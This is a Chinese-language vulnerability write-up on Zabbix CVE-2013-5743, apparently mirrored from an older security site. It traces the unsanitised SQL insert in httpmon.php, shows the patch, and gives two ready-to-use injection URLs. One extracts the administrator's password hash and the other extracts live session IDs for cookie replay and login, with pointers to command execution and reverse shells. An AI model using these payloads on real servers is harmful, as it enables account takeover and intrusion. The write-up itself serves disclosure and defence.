menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 0181-Zabbix SQL Injection-RCE – CVE-2013-5743.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    0181-Zabbix SQL Injection-RCE – CVE-2013-5743.md
    5.5 KB / 2021-07-17 00:01:36
        # Zabbix SQL Injection/RCE – CVE-2013-5743
    
    from:[https://www.corelan.be/index.php/2013/10/04/zabbix-sql-injectionrce-cve-2013-5743/](https://www.corelan.be/index.php/2013/10/04/zabbix-sql-injectionrce-cve-2013-5743/)
    
    0x00 背景
    -------
    
    * * *
    
    该漏洞于2013年9月11号提交,9月23号得到确认,10月2号发布补丁。
    
    新出的0day,可以通过sql注入直接进入后台,并执行系统命令。
    
    该漏洞已有metasploit利用模块,请使用Zabbix的公司注意及时打补丁。
    
    0x01 利用细节
    ---------
    
    * * *
    
    该漏洞存在于httpmon.php脚本中,未登录用户也可访问。
    
    这是由于Zabbix预先设定了一个guest用户,未登录用户都被设定为guest用户的访问权限。
    
    如果guest用户被禁用,将不能访问httpmon.php脚本,利用该漏洞。
    
    可以在管理员的管理面板中禁用guest用户。
    
    从下图中可以看出来applications参数存在sql注入。
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/a30efbf8b72e10cc1231bdae40d0f18f1506ba2c.jpg)
    
    查看源代码:
    
    ```
    foreach ($_REQUEST['applications'] as $application) { 
         add2favorites('web.httpmon.applications', $application); 
         }
    
    ```
    
    进入了$application变量中,跟踪add2favorites函数:
    
    ```
    function add2favorites($favobj, $favid, $source = null) { 
         $favorites = get_favorites($favobj); 
         foreach ($favorites as $favorite) { 
              if ($favorite['source'] == $source && $favorite['value'] == $favid) { 
              return true; 
              } 
         } 
         DBstart(); 
         $values = array( 
              'profileid' => get_dbid('profiles', 'profileid'), 
              'userid' => CWebUser::$data['userid'], 
              'idx' => zbx_dbstr($favobj), 
              'value_id' => $favid,
              'type' => PROFILE_TYPE_ID 
    );
    
    ```
    
    进入$values数组的value_id中,再往下跟踪就可以发现变量没有经过任何过滤进入到sql语句中:
    
    ```
    return DBend(DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')'));
    
    ```
    
    最新,Zabbix的补丁:
    
    ```
    Index: frontends/php/include/profiles.inc.php
    ===================================================================
    --- frontends/php/include/profiles.inc.php  (revision 38884)
    +++ frontends/php/include/profiles.inc.php  (working copy)
    @@ -148,9 +148,9 @@
                'profileid' => get_dbid('profiles', 'profileid'),
                'userid' => self::$userDetails['userid'],
                'idx' => zbx_dbstr($idx),
    -           $value_type => ($value_type == 'value_str') ? zbx_dbstr($value) : $value,
    -           'type' => $type,
    -           'idx2' => $idx2
    +           $value_type => zbx_dbstr($value),
    +           'type' => zbx_dbstr($type),
    +           'idx2' => zbx_dbstr($idx2)
            );
            return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');// string value prepearing
    
    if (isset($DB['TYPE']) && $DB['TYPE'] == ZBX_DB_MYSQL) {
        function zbx_dbstr($var) {
            if (is_array($var)) {
                foreach ($var as $vnum => $value) {
                    $var[$vnum] = "'".mysql_real_escape_string($value)."'";
                }
                return $var;
            }
            return "'".mysql_real_escape_string($var)."'";
        }
    
    ```
    
    变量处理经过了一层mysql_real_escape_string函数的过滤。
    
    在上面那个漏洞中,下面的语句可以读取管理员的用户名与密码md5的hash值:
    
    ```
    http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
    
    ```
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/1b66b17489b92d9fed90614f4160e28f2ed4e042.jpg)
    
    成功获取,但是如果管理员的密码过于复杂,md5碰撞不出来明文的怎么办呢?
    
    发现Zabbix的数据库中还保存了用户的session值,它们似乎都不会失效,除非用户点击了退出登录。
    
    下图展示了数据库中sessions表保存的内容:
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/d37d37a97477e1c7dab9c47141e32ca006d441f2.jpg)
    
    那我们直接注入获取管理员的session值,直接登录吧,无需碰撞md5的hash了。
    
    ```
    http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
    
    ```
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/5e69a386efec1e3a819e236776254de64d2d6daa.jpg)
    
    用获取到的session替换cookie中zbx_sessionid中的值:
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/ede4ce6c2c317905612b7e69651c22cd1fedac9f.jpg)
    
    然后就登陆成功:
    
    ![enter image description here](http://drops.javaweb.org/uploads/images/b2a6e23b52369b3d89fc4c5c5def9eb95057b299.jpg)
    
    管理员进入后可以命令执行具体方法wooyun上已经有了:
    
    [WooYun: sohu的zabbix,可导致内网渗透](http://www.wooyun.org/bugs/wooyun-2013-023089)
    
    也可以直接反弹shell执行命令方便很多,具体姿势可以参考:
    
    [反弹shell的十种姿势](http://zone.wooyun.org/content/5064)
    
    links
    file_download